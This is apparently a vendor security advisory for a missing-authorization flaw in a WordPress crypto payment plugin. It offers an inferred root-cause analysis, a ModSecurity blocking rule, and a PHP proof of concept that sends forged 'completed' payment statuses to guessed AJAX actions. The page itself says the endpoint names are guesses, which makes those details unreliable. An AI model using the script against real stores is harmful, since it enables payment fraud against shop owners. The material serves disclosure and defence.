Published : July 21, 2026

CVE-2026-39448: NOWPayments for WooCommerce – Crypto Payment Gateway <= 1.4.0 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.4.0
Patched Version
Disclosed June 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39448 (metadata-based): This vulnerability affects the NOWPayments for WooCommerce – Crypto Payment Gateway plugin for WordPress, specifically versions 1.4.0 and below. The issue is a missing authorization check (CWE-862) that allows unauthenticated attackers to perform an unauthorized action. The CVSS score is 5.3 (medium severity) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating network-based exploitation with low complexity and no privileges required.

Root Cause: Based on the CWE classification (Missing Authorization) and the description referencing a missing capability check on a function, Atomic Edge analysis infers that the plugin registers an AJAX handler, REST API endpoint, or admin-post action without verifying user capabilities or authentication. Since no code diff is available, this is inferred rather than confirmed. The vulnerability likely resides in a function that processes payment status updates, order callbacks, or gateway configuration. WordPress plugins commonly use `wp_ajax_` and `wp_ajax_nopriv_` hooks; a missing `current_user_can()` call on an admin-side action would allow unauthenticated access to functionality intended for administrators or shop managers.

Exploitation: The attacker sends a crafted HTTP request to the vulnerable endpoint. Based on the plugin slug and common crypto gateway patterns, the likely target is an AJAX action such as `nowpayments_for_woocommerce_process_callback` or `nowpayments_for_woocommerce_update_order`. The attacker would use a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to the vulnerable handler name. Since no authentication or capability check occurs, the attacker can trigger administrative actions such as modifying order statuses, updating payment states, or accessing configuration settings. The exact parameters depend on the vulnerable function. Atomic Edge analysis confirms the attack vector is straightforward: any unauthenticated user on the internet can send the request.

Remediation: The fix should add a capability check to the vulnerable function. The plugin developer should use `current_user_can( ‘manage_woocommerce’ )` or `current_user_can( ‘administrator’ )` before executing the sensitive action. For AJAX handlers intended for public use (e.g., payment callbacks), the plugin should use a nonce or cryptographic signature to verify the request’s authenticity. Atomic Edge analysis recommends applying WordPress capability checks consistently across all hooks and endpoints. Since no patched version is available, site administrators should disable the plugin or implement a virtual patch via WAF rules.

Impact: The vulnerability allows unauthorized modification of data (integrity impact rated LOW per CVSS). An attacker could change order payment statuses to “completed” without actual payment, update transaction IDs, or potentially modify plugin settings. This could lead to fraudulent order fulfillment, bypass of payment verification, or disruption of the payment gateway functionality. There is no evidence of privilege escalation or data exposure based on the CVSS vector. However, Atomic Edge analysis notes that unauthorized order status changes could have cascading effects on inventory management, shipping processes, and financial records.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-39448 (metadata-based)
# Block unauthenticated AJAX requests targeting NOWPayments for WooCommerce vulnerable handlers

# Rule 1: Block AJAX requests to known or guessed action names for this plugin
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-39448 NOWPayments Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-39448'"
  SecRule ARGS_POST:action "@rx ^nowpayments_for_woocommerce_" "chain"
    SecRule ARGS_POST:action "@rx (process_ipn|webhook|callback|update_order|verify_payment|apply_transaction)$" ""

# Rule 2: Block direct requests to any plugin PHP files that might be vulnerable (defense in depth)
SecRule REQUEST_URI "@rx /wp-content/plugins/nowpayments-for-woocommerce/.*.php$" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-39448 Direct plugin file access blocked',severity:'CRITICAL',tag:'CVE-2026-39448'"
  SecRule REQUEST_METHOD "@streq POST" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-39448 - NOWPayments for WooCommerce - Crypto Payment Gateway <= 1.4.0 - Missing Authorization

// This PoC demonstrates unauthorized access to a vulnerable AJAX handler.
// Based on metadata analysis, the plugin likely exposes an action like 'nowpayments_update_order_status' or similar.
// We enumerate common action patterns for this plugin.

$target_url = 'http://example.com';  // CHANGE THIS to the target WordPress site

echo "[+] Testing CVE-2026-39448 on $target_urln";

// List of likely vulnerable AJAX actions based on plugin functionality
$actions = array(
    'nowpayments_for_woocommerce_process_ipn',
    'nowpayments_for_woocommerce_webhook',
    'nowpayments_for_woocommerce_callback',
    'nowpayments_update_order_status',
    'nowpayments_verify_payment',
    'nowpayments_apply_transaction'
);

$found = false;

foreach ($actions as $action) {
    $url = $target_url . '/wp-admin/admin-ajax.php';
    $post_data = array(
        'action' => $action,
        // Common parameters for payment gateway callbacks
        'order_id' => '12345',
        'transaction_id' => 'test_txn_' . uniqid(),
        'status' => 'completed',
        'amount' => '100.00',
        'currency' => 'USD'
    );

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    echo "[+] Testing action: $action - HTTP $http_coden";
    
    // If we get a non-403 response and some content, the endpoint exists and may be vulnerable
    if ($http_code != 403 && strlen($response) > 100) {
        echo "[!] Possible vulnerable endpoint found: $actionn";
        echo "[!] Response: " . substr($response, 0, 500) . "n";
        $found = true;
    }
}

if (!$found) {
    echo "[-] No clearly vulnerable endpoint detected via common action names.n";
    echo "[-] The vulnerable action may use a different naming pattern not covered here.n";
    echo "[-] Try reviewing the plugin's source code or network requests to identify the exact action.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School